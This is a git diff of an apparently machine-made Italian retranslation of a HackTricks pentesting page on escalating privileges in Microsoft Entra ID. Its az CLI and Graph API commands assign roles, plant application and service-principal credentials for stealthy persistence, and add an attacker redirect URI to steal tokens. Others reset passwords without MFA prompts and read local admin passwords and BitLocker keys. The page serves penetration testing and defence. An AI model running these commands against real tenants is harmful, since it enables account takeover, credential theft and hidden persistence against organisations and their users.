Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-05-03 08:50:12 +00:00
parent 82e708b017
commit 5b87e2230a
@@ -3,15 +3,15 @@
{{#include ../../../../banners/hacktricks-training.md}}
> [!NOTE]
> Nota che **non tutte le autorizzazioni granulari** che i ruoli integrati hanno in Entra ID **sono eleggibili per essere utilizzate nei ruoli personalizzati.**
> Nota che **non tutti i granular permissions** che i ruoli built-in hanno in Entra ID **sono eleggibili per essere usati in custom roles.**
## Ruoli
## Roles
### Ruolo: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
Questo ruolo contiene le autorizzazioni granulari necessarie per poter assegnare ruoli ai principals e per concedere ulteriori permessi ai ruoli. Entrambe le azioni potrebbero essere abusate per escalare i privilegi.
Questo ruolo contiene i granular permissions necessari per poter assegnare ruoli ai principals e per dare più permissions ai ruoli. Entrambe le azioni potrebbero essere abused per escalare privilegi.
- Assegnare un ruolo a un utente:
- Assign role to a user:
```bash
# List enabled built-in roles
az rest --method GET \
@@ -27,7 +27,7 @@ az rest --method POST \
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
```
- Aggiungere più permessi a un ruolo:
- Aggiungi più permessi a un role:
```bash
# List only custom roles
az rest --method GET \
@@ -48,11 +48,11 @@ az rest --method PATCH \
]
}'
```
## Applicazioni
## Applications
### `microsoft.directory/applications/credentials/update`
Questo consente a un attaccante di **aggiungere credenziali** (password o certificati) ad applicazioni esistenti. Se l'applicazione dispone di permessi privilegiati, l'attaccante può autenticarsi come tale applicazione e ottenere tali privilegi.
Questo consente a un attacker di **aggiungere credenziali** (password o certificati) alle applicazioni esistenti. Se l'applicazione ha privilegi, l'attacker può autenticarsi come quell'applicazione e ottenere quei privilegi.
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
@@ -61,13 +61,13 @@ az ad app credential reset --id <appId> --create-cert
```
### `microsoft.directory/applications.myOrganization/credentials/update`
Ciò consente le stesse azioni di `applications/credentials/update`, ma limitate alle applicazioni di una singola directory.
Questo consente le stesse azioni di `applications/credentials/update`, ma limitate alle applicazioni a singola directory.
```bash
az ad app credential reset --id <appId> --append
```
### `microsoft.directory/applications/owners/update`
Aggiungendosi come owner, un attacker può manipolare l'applicazione, incluse le credenziali e le autorizzazioni.
Aggiungendosi come owner, un attacker può manipolare l'application, incluse credenziali e permissions.
```bash
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
@@ -77,24 +77,24 @@ az ad app owner list --id <appId>
```
### `microsoft.directory/applications/allProperties/update`
Un attaccante può aggiungere un URI di reindirizzamento alle applicazioni utilizzate dagli utenti del tenant e poi condividere con loro URL di accesso che usano il nuovo URI di reindirizzamento per rubare i loro token. Nota che se l'utente era già autenticato nell'applicazione, l'autenticazione sarà automatica senza che l'utente debba accettare nulla.
Un attacker può aggiungere una redirect URI alle applicazioni che vengono usate dagli utenti del tenant e poi condividere con loro URL di login che usano la nuova redirect URL per rubare i loro token. Nota che se l'utente era già loggato nell'application, l'autenticazione avverrà in automatico senza che l'utente debba accettare nulla.
Nota che è anche possibile modificare le autorizzazioni richieste dall'applicazione per ottenere più privilegi; in questo caso l'utente dovrà accettare nuovamente il prompt che richiede tutte le autorizzazioni.
Nota che è anche possibile modificare i permessi che l'application richiede per ottenere più permessi, ma in questo caso l'utente dovrà accettare di nuovo il prompt che richiede tutti i permessi.
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
```
### Applications Privilege Escalation
### Escalation dei privilegi delle Applications
**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** era molto comune trovare applicazioni predefinite che hanno **API permissions** di tipo **`Application`** assegnate a loro. Un API Permission (come chiamato nella Entra ID console) di tipo **`Application`** significa che l'applicazione può accedere all'API ed eseguire azioni senza un contesto utente (senza un utente che effettua il login nell'app), e senza bisogno dei ruoli Entra ID per permetterlo. Di conseguenza, è molto comune trovare **applicazioni con privilegi elevati in ogni Entra ID tenant**.
**Come spiegato in [questo post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** era molto comune trovare applicazioni di default che avevano **API permissions** di tipo **`Application`** assegnate. Una API Permission (come viene chiamata nella console Entra ID) di tipo **`Application`** significa che l'applicazione può accedere all'API ed eseguire azioni senza un contesto utente (senza un login dell'utente nell'app), e senza bisogno di Entra ID roles per autorizzarla. Per questo motivo, è molto comune trovare **applicazioni ad alto privilegio in ogni tenant Entra ID**.
Quindi, se un attaccante ha qualsiasi permesso/ruolo che gli permette di **aggiornare le credenziali (segreto o certificato) dell'applicazione**, l'attaccante può generare una nuova credenziale e poi usarla per **autenticarsi come l'applicazione**, ottenendo tutti i permessi che l'applicazione possiede.
Poi, se un attacker ha qualsiasi permission/role che consenta di **aggiornare le credenziali (secret o certificate) dell'application**, l'attacker può generare una nuova credenziale e poi usarla per **autenticarsi come l'application**, ottenendo tutti i permission che l'application ha.
Nota che il blog menzionato condivide alcune **API permissions** di comuni applicazioni Microsoft predefinite; tuttavia, qualche tempo dopo questo report Microsoft ha risolto il problema e ora non è più possibile effettuare il login come applicazioni Microsoft. Rimane comunque possibile trovare **applicazioni personalizzate con privilegi elevati che potrebbero essere abusate**.
Nota che il blog menzionato condivide alcune **API permissions** di comuni applicazioni Microsoft di default; tuttavia, qualche tempo dopo questo report Microsoft ha corretto il problema e ora non è più possibile fare login come applicazioni Microsoft. Però è ancora possibile trovare **custom applications con privilegi elevati che potrebbero essere abusate**.
How to enumerate the API permissions of an application:
Come enumerare le API permissions di un'application:
```bash
# Get "API Permissions" of an App
## Get the ResourceAppId
@@ -125,7 +125,7 @@ az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
<details>
<summary>Trova tutte le autorizzazioni API delle applicazioni e contrassegna le API di proprietà Microsoft</summary>
<summary>Trova tutti i permessi API delle applicazioni e marca le API di proprietà di Microsoft</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
@@ -241,27 +241,27 @@ done < <(jq -c '.[]' <<<"$apps_json")
### `microsoft.directory/servicePrincipals/credentials/update`
Questo permette a un attaccante di aggiungere credenziali a service principals esistenti. Se il service principal ha privilegi elevati, l'attaccante può assumere tali privilegi.
Questo consente a un attacker di aggiungere credentials a service principals esistenti. Se il service principal ha privilegi elevati, l'attacker può assumere quei privilegi.
```bash
az ad sp credential reset --id <sp-id> --append
```
> [!CAUTION]
> La nuova password generata non apparirà nella web console, quindi questo potrebbe essere un modo furtivo per mantenere persistenza su un service principal.\
> La nuova password generata non apparirà nella web console, quindi questo potrebbe essere un modo stealth per mantenere la persistence su un service principal.\
> Dall'API possono essere trovate con: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
Se ottieni l'errore `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` è perché **non è possibile modificare la proprietà passwordCredentials** dello SP e prima devi sbloccarlo. Per farlo è necessaria un'autorizzazione (`microsoft.directory/applications/allProperties/update`) che consente di eseguire:
Se ottieni l'errore `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` è perché **non è possibile modificare la proprietà passwordCredentials** dello SP e prima devi sbloccarlo. Per farlo ti serve un permesso (`microsoft.directory/applications/allProperties/update`) che ti consente di eseguire:
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
```
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
Questo permette a un attaccante di aggiungere credenziali ai service principals esistenti. Se il service principal ha privilegi elevati, l'attaccante può assumere tali privilegi.
Questo consente a un attacker di aggiungere credenziali agli service principal esistenti. Se il service principal ha privilegi elevati, l'attacker può assumere quei privilegi.
```bash
az ad sp credential reset --id <sp-id> --append
```
### `microsoft.directory/servicePrincipals/owners/update`
Analogamente alle applications, questo permesso consente di aggiungere altri owners a un service principal. Possedere un service principal permette il controllo sulle sue credentials e permissions.
Analogamente alle applications, questa permission consente di aggiungere altri owners a un service principal. Possedere un service principal permette di controllarne le credentials e le permissions.
```bash
# Add new owner
spId="<spId>"
@@ -279,13 +279,13 @@ az ad sp credential reset --id <sp-id> --append
az ad sp owner list --id <spId>
```
> [!CAUTION]
> Dopo aver aggiunto un nuovo owner, ho provato a rimuoverlo ma l'API ha risposto che il metodo DELETE non era supportato, anche se è il metodo che devi usare per rimuovere l'owner. Quindi **non puoi rimuovere gli owner al momento**.
> Dopo aver aggiunto un nuovo owner, ho provato a rimuoverlo ma l'API ha risposto che il metodo DELETE non era supportato, anche se è il metodo che devi usare per eliminare l'owner. Quindi **non puoi rimuovere gli owner al giorno d'oggi**.
### `microsoft.directory/servicePrincipals/disable` e `enable`
### `microsoft.directory/servicePrincipals/disable` and `enable`
Questi permessi consentono di disabilitare e abilitare i service principals. Un attacker potrebbe usare questo permesso per abilitare un service principal a cui riuscisse ad ottenere l'accesso in qualche modo, per escalate privileges.
Questi permessi consentono di disabilitare e abilitare i service principals. Un attacker potrebbe usare questo permesso per abilitare un service principal a cui riuscisse ad accedere in qualche modo per escalare privileges.
Nota che per questa tecnica l'attacker avrà bisogno di permessi aggiuntivi per poter take over il service principal abilitato.
Nota che per questa tecnica l'attacker avrà bisogno di più permessi per prendere il controllo del service principal abilitato.
```bash
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
@@ -295,7 +295,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
```
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
Queste autorizzazioni permettono di creare e ottenere credenziali per single sign-on, il che potrebbe consentire l'accesso ad applicazioni di terze parti.
Questi permessi consentono di creare e ottenere credenziali per il single sign-on, il che potrebbe consentire l'accesso ad applicazioni di terze parti.
```bash
# Generate SSO creds for a user or a group
spID="<spId>"
@@ -321,30 +321,30 @@ az rest --method POST \
### `microsoft.directory/groups/allProperties/update`
Questa autorizzazione consente di aggiungere utenti a gruppi privilegiati, portando a privilege escalation.
Questo permesso permette di aggiungere utenti a gruppi privilegiati, portando a privilege escalation.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
**Nota**: Questa autorizzazione esclude Entra ID role-assignable groups.
**Nota**: Questa autorizzazione esclude i gruppi assegnabili ai ruoli di Entra ID.
### `microsoft.directory/groups/owners/update`
Questa autorizzazione consente di diventare owner di gruppi. Un owner di un gruppo può controllare l'appartenenza e le impostazioni del gruppo, potenzialmente permettendo l'elevazione dei privilegi tramite il gruppo.
Questa autorizzazione consente di diventare owner di gruppi. Un owner di un gruppo può controllare l'appartenenza al gruppo e le impostazioni, con la possibilità di escalare i privilegi verso il gruppo.
```bash
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
```
**Nota**: Questa autorizzazione esclude i role-assignable groups di Entra ID.
**Nota**: Questo permesso esclude i gruppi assegnabili ai ruoli di Entra ID.
### `microsoft.directory/groups/members/update`
Questa autorizzazione consente di aggiungere membri a un gruppo. Un attacker potrebbe aggiungere se stesso o malicious accounts a privileged groups per ottenere accesso elevato.
Questo permesso consente di aggiungere membri a un gruppo. Un attacker potrebbe aggiungere sé stesso o account malevoli a gruppi privilegiati, ottenendo così accesso elevato.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
### `microsoft.directory/groups/dynamicMembershipRule/update`
Questa autorizzazione consente di aggiornare la membership rule di un gruppo dinamico. Un attacker potrebbe modificare le regole dinamiche per includere se stesso in gruppi privilegiati senza un'aggiunta esplicita.
Questo permission consente di aggiornare la membership rule in un dynamic group. Un attacker potrebbe modificare le dynamic rules per includere se stesso in privileged groups senza un'esplicita aggiunta.
```bash
groupId="<group-id>"
az rest --method PATCH \
@@ -355,27 +355,41 @@ az rest --method PATCH \
"membershipRuleProcessingState": "On"
}'
```
**Nota**: Questa autorizzazione esclude Entra ID role-assignable groups.
**Nota**: Questa permission esclude i gruppi assignable di Entra ID.
### Dynamic Groups Privesc
Potrebbe essere possibile per gli utenti aumentare i propri privilegi modificando le proprie proprietà per essere aggiunti come membri dei dynamic groups. Per maggiori informazioni consulta:
Potrebbe essere possibile per gli utenti escalare privileges modificando le proprie properties per essere aggiunti come membri di dynamic groups. Per maggiori informazioni controlla:
{{#ref}}
dynamic-groups.md
{{#endref}}
## Utenti
## Users
### `microsoft.directory/users/password/update`
Questa autorizzazione consente di reimpostare la password degli utenti non amministratori, permettendo a un potenziale attaccante di aumentare i privilegi sugli altri utenti. Questa autorizzazione non può essere assegnata a ruoli personalizzati.
Questa permission consente di reimpostare la password degli utenti non-admin, permettendo a un potenziale attacker di escalare privileges verso altri utenti. Questa permission non può essere assegnata a custom roles.
```bash
az ad user update --id <user-id> --password "kweoifuh.234"
# Update user password
userId="<user-id>"
az ad user update --id $userId --password "kweoifuh.234"
# Update user password without needing to change or use MFA on next sign-in
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$userId" \
--headers "Content-Type=application/json" \
--body "{
\"passwordProfile\": {
\"forceChangePasswordNextSignInWithMfa\": false,
\"forceChangePasswordNextSignIn\": false,
\"password\": \"kweoifuh.234\"
}
}"
```
### `microsoft.directory/users/basic/update`
Questo privilegio permette di modificare le proprietà dell'utente. È comune trovare gruppi dinamici che aggiungono utenti in base ai valori delle proprietà; di conseguenza, questo permesso potrebbe consentire a un utente di impostare il valore di proprietà necessario per diventare membro di un gruppo dinamico specifico e elevare i privilegi.
Questo privilegio consente di modificare le proprietà dell'utente. È comune trovare dynamic groups che aggiungono utenti in base ai valori delle proprietà; quindi, questo permesso potrebbe consentire a un utente di impostare il valore della proprietà necessario per essere membro di un specifico dynamic group ed escalare privilegi.
```bash
#e.g. change manager of a user
victimUser="<userID>"
@@ -391,19 +405,19 @@ az rest --method PATCH \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
```
## Criteri di accesso condizionale & MFA bypass
## Conditional Access Policies & MFA bypass
Criteri di accesso condizionale mal configurati che richiedono MFA potrebbero essere bypassati, controlla:
Le policy di conditional access mal configurate che richiedono MFA potrebbero essere bypassate, verifica:
{{#ref}}
az-conditional-access-policies-mfa-bypass.md
{{#endref}}
## Dispositivi
## Devices
### `microsoft.directory/devices/registeredOwners/update`
Questa autorizzazione permette agli attaccanti di assegnarsi come proprietari dei dispositivi per ottenere il controllo o l'accesso alle impostazioni e ai dati specifici del dispositivo.
Questo permesso consente agli attacker di assegnarsi come owner dei devices per ottenere controllo o accesso alle impostazioni e ai dati specifici del device.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -414,7 +428,7 @@ az rest --method POST \
```
### `microsoft.directory/devices/registeredUsers/update`
Questa autorizzazione consente agli attaccanti di associare il proprio account a dispositivi per ottenere accesso o eludere le politiche di sicurezza.
Questa permission consente agli attacker di associare il proprio account ai devices per ottenere accesso o bypassare le security policies.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -425,7 +439,7 @@ az rest --method POST \
```
### `microsoft.directory/deviceLocalCredentials/password/read`
Questa autorizzazione consente agli attackers di leggere le proprietà delle credenziali dell'account amministratore locale salvate per i dispositivi uniti a Microsoft Entra, inclusa la password
Questa permission consente agli attacker di leggere le proprietà delle credenziali di backup dellaccount administrator locale per i device Microsoft Entra joined, inclusa la password
```bash
# List deviceLocalCredentials
az rest --method GET \
@@ -440,7 +454,7 @@ az rest --method GET \
### `microsoft.directory/bitlockerKeys/key/read`
Questa autorizzazione consente l'accesso alle chiavi di BitLocker, il che potrebbe permettere a un attaccante di decrittare i dischi, compromettendo la riservatezza dei dati.
Questa permission consente di accedere alle chiavi BitLocker, il che potrebbe permettere a un attacker di decryptare i drive, compromettendo la data confidentiality.
```bash
# List recovery keys
az rest --method GET \
@@ -451,7 +465,7 @@ recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
```
## Altre permissions interessanti (TODO)
## Altri permessi interessanti (TODO)
- `microsoft.directory/applications/permissions/update`
- `microsoft.directory/servicePrincipals/permissions/update`